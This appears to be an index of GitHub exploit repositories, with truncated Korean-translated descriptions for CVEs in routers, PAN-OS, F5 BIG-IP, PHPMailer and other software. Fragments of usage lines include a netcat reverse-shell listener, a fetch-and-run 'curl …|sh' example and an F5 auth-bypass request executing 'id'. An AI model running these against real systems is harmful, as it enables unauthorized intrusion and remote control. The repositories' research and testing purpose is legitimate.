CVE-2023-6634

CVE-2023-6634 익스플로잇 스크립트 설명 이 저장소는 WordPress용 LearnPress 플러그인버전 4.2.5.7 이하에서 발견된 CVE-2023-6634 취약점을 악용하도록 설계된 Python 스크립트를 포함합니다. 이 취약점은 loadcontentviaajax 함수의 부적절한 입력 검증으로 인해 원격 코드 실행RCE을 허용합니다. 면책 조항 이 도구는 교육 목적과 공인된 모의 침투 테스트 용도로만 제공됩니다. 명시적 허가 없이 시스템에 이 도구를 사용하는 것은 불법이며 비윤리적입니다. 이 도구를 다운로드하거나...

CVE-2023-33538

TP-Link TL-WR940N/TL-WR841N 명령어 주입 취약점을 위한 Python 익스플로잇 사용 방법 1. 기본 취약점 확인 : python tplinkexploit.py -t 192.168.1.1 -u admin -p admin 2. 사용자 정의 명령 실행 : python tplinkexploit.py -t 192.168.1.1 -u admin -p admin -c "yourcommandhere" 3. 리버스 셸 먼저 리스너 설정: nc -lvnp 4444: python tplinkexploit.py -t...

CVE-2024-24576-PoC---Nim

Windows에서 Nim을 활용한 명령 삽입 취약점 탐구 https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true 다음은 다양한 페이로드를 사용한 Nim 코드 실험 결과를 요약한 표입니다. Payload| execProcessNoQuoteShell| execProcessQuoteShell| execShellCmd ---|---|---|--- nim &calc| 통과하지 않음| 통과하지 않음|...

DIR-890L-1.20-RCE

D-Link DIR-890L RCE 영향받는 버전: = v1.22B01 Hotfix 최신 펌웨어: 여기 이 모델은 수명 주기가 종료되었습니다. 이 제품과 관련된 리소스는 개발이 중단되었으며 더 이상 지원되지 않습니다. D-Link Systems, Inc.는 이 제품들을 폐기하고 펌웨어 업데이트를 받는 제품으로 교체할 것을 권장합니다. 취약점 펌웨어에서 SetVirtualServerSettings.php에 getWOLMAC 함수를 찾을 수 있습니다. function getWOLMAC$ipv4addr $cmd = "scut -p...

cve-2024-0012-gui-poc

CVE-2024-0012 및 CVE-2024-9474 관리 웹 인터페이스의 인증 우회 PAN-SA-2024-0015 및 Palo Alto PAN-OS의 인증된 명령 주입. 기술적 세부 사항은 블로그 게시물을 참조하세요. 익스플로잇 작성자 원본 익스플로잇은 Sonny watchTowr @watchtowrcyber가 작성했습니다. 코드 및 GUI 구현과 추가 개선은 Diego Collao가 담당했습니다...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 이것은 테스트를 위해 작성한 편의 스크립트입니다. 출력 Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be proccessed by...

opsxcq-cve-2016-10033

PHPMailer 5.2.18 원격 코드 실행 PHPMailer는 전 세계적으로 약 900만 명의 사용자를 보유한 세계에서 가장 인기 있는 전송 클래스입니다. 매일 상당한 속도로 다운로드가 계속되고 있습니다. WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! 등 많은 오픈 소스 프로젝트에서 사용됩니다. PHPMailer 5.2.18 이전 버전에는 원격 코드 실행RCE으로 이어질 수 있는 취약점이 있습니다. PHPMailer의 isMail 전송 방식에 있는 mailSend 함수는 Sender...

CVE-2024-24386

VitalPBX - CVE-2024-24386 취약점 제목: 명령 삽입 작성자: Erick Duarte 버전: 3.2.5-2 이 취약점은 Task Manager 모듈을 Cron Profile과 함께 사용할 때 발생합니다. 이 취약점을 악용하려면 OS 내 특정 폴더에 스크립트를 배치해야 합니다. 해당 폴더는 "/var/lib/vitalpbx/scripts"입니다. 그래서 호기심에 Burp를 사용하여 서버로 전송되는 내용을 분석하기 시작했습니다. 이를 위해 1분마다 실행되는 Cron Profile을 생성했습니다. 다음으로 Task...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 확인 및 익스플로잇 설치: python3 -m pip install -r requirements.txt 사용법 단일 대상: python3 cve.py s 전체 URL API 명령어 예시 python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 다중 대상: python3 cve.py m 호스트 목록 엔드포인트 API 명령어 풀동시처리 수 예시 python3 cve....

CVE-2024-30850-chaos-rat-rce-poc

https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192 CHAOS RAT v5.01 웹 패널 RCE CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS 이 익스플로잇은 가짜 에이전트 콜백을 스푸핑하여 XSSCVE-2024-31839를 유발하고, 이 XSS를 활용하여 관리자 웹 패널의 명령 주입...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit용 익스플로잇 - 명령 삽입 이 저장소가 마음에 드시나요? ⭐를 남겨주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 저자 @UNICORDev 제작 @NicPWNs 및 @Dev-Yeoj 취약점 설명 pdfkit 패키지0.0.0부터는 URL이 제대로 삭제샌니타이즈되지 않아 명령 삽입Command Injection에 취약합니다. 익스플로잇 설명 루비 젬 pdfkit은 웹사이트 또는 HTML을 PDF 문서로 변환하는 데 일반적으로 사용됩니다. 이 소프트웨어의 취약한 버전...

research-labs

연구자의 랩 이 저장소에는 PortSwigger Research가 발견한 취약점을 탐색하는 데 사용할 수 있는 의도적으로 취약하게 만든 여러 애플리케이션이 포함되어 있습니다. 참고로 Web Security Academy에서 PortSwigger Research가 설계한 많은 무료 온라인 랩을 찾을 수 있습니다. 목차 SignSaboteur 웹 토큰 서명기 브라우저 PDF 렌더링 차이 ASCII 제어 문자 명령 주입 경고 이 랩을 실행하면 로컬 머신에 취약한 웹사이트가 생성됩니다. 이러한 웹사이트를 다른 시스템에 노출하면 해킹당...

CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 원격 코드 실행 ⚠️ 고지 사항 이 저장소는 교육 및 연구 목적으로만 엄격히 제공됩니다. 여기에 제공된 정보와 코드는 통제된 환경예: 개인 실습 머신에서만 사용할 수 있습니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 코드를 무단 사용하는 것은 불법이며 비윤리적입니다. 저자는 이 코드의 오용이나 발생한 손해에 대해 책임을 지지 않습니다. 🔍 취약점 정보 OpenNetAdmin 18.1.1 에는 xajax AJAX 요청 인터페이스를 통한 원격 코...

CVE-2016-2434

CVE-2016-2434...

PAN-OS-CVE-2024-3400-Command-Injection-Investigation

PAN-OS CVE-2024-3400 명령 삽입 시도 조사 개요 이 프로젝트는 PAN-OS GlobalProtect 서비스를 대상으로 한 CVE-2024-3400 명령 삽입 시도 에 대한 조사를 문서화합니다. 목표는 다음을 확인하는 것입니다: 실제 공격인지 여부 명령 실행이 발생했는지 여부 침해 증거가 있는지 여부 알림 개요 가능한 악용 시도를 나타내는 중요 알림이 트리거되었습니다. 대상: 172.16.17.139 PA-Firewall-01 출처: 144.172.79.92 엔드포인트: /global-protect/login.e...

CVE-2023-1389

설명 CVE-2023–1389는 TP-Link Archer AX21 WiFi 라우터에서 발생하는 인증되지 않은 명령 주입 취약점입니다. country 매개변수의 콜백은 popen 함수를 사용하며, 이 함수는 root 권한으로 실행되므로 공격자가 인증 없이 관리 인터페이스에 GET 또는 POST 요청을 통해 임의의 값을 주입할 수 있습니다. 취약점에 대한 자세한 내용은 여기에서 확인할 수 있습니다. 다음은 제가 명령 주입을 탐구하면서 만든 몇 가지 Proof-of-Concept입니다. Archer-file-transfer.py는...

CVE-2024-37770

CVE-2024-37770 설명 14Finger v1.1에서 지문fingerprint 기능에 원격 명령 실행RCE 취약점이 존재하는 것으로 확인되었습니다. 이 취약점으로 인해 공격자는 제작된 페이로드를 통해 임의의 명령을 실행할 수 있습니다. 공격 벡터 인증되지 않은 공격자는 셸 메타문자를 통해 명령 주입을 실행하여 원격 서버에서 RCE를 수행할 수 있습니다. 세부 정보 핵심 기능의 지문 스캔 지점에 인증되지 않은 원격 명령 실행 취약점이 존재합니다. 소스 코드 감사를 통해 onlyspider가 false이고 spider가...

CVE-2020-2038

CVE-2020-2038 CVE-2020-2038 の脆弱性を悪用するエクスプロイト。 Palo Alto Networks によると: PAN-OS 管理インターフェースにおける OS コマンドインジェクションの脆弱性で、認証済み管理者が root 権限で任意の OS コマンドを実行できるようになります。 この問題の影響を受けるバージョン: PAN-OS 9.0 の 9.0.10 より前のバージョン PAN-OS 9.1 の 9.1.4 より前のバージョン PAN-OS 10.0 の 10.0.1 より前のバージョン デモ クレジット 本脆弱性を発見した研究者である Positiv...

CVE-2022-30525

CVE-2022-30525 Zyxel의 CGI 프로그램에서 발생한 OS 명령 주입 취약점 요약 이 취약점은 2022년 4월 13일에 처음 발견되었으며, Zyxel 방화벽 제품에서 원격 코드 실행을 유발했습니다. CVSS 점수 9.8의 중요한 취약점으로, 발견 후 15일 만에 Zyxel이 업데이트를 출시하여 차단했습니다. 이 과정에서 최소 20,800개의 모델이 영향을 받았으며, 대부분 유럽 지역이었습니다. 취약점은 제로터치 프로비저닝 애플릿 내의 "setWanPortSt" 명령어로 인해 발생합니다. "setWanPortSt"...

CVE-2022-1388_PoC

F5 BIG-IP RCE 익스플로잇 CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl 명령줄: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ -H...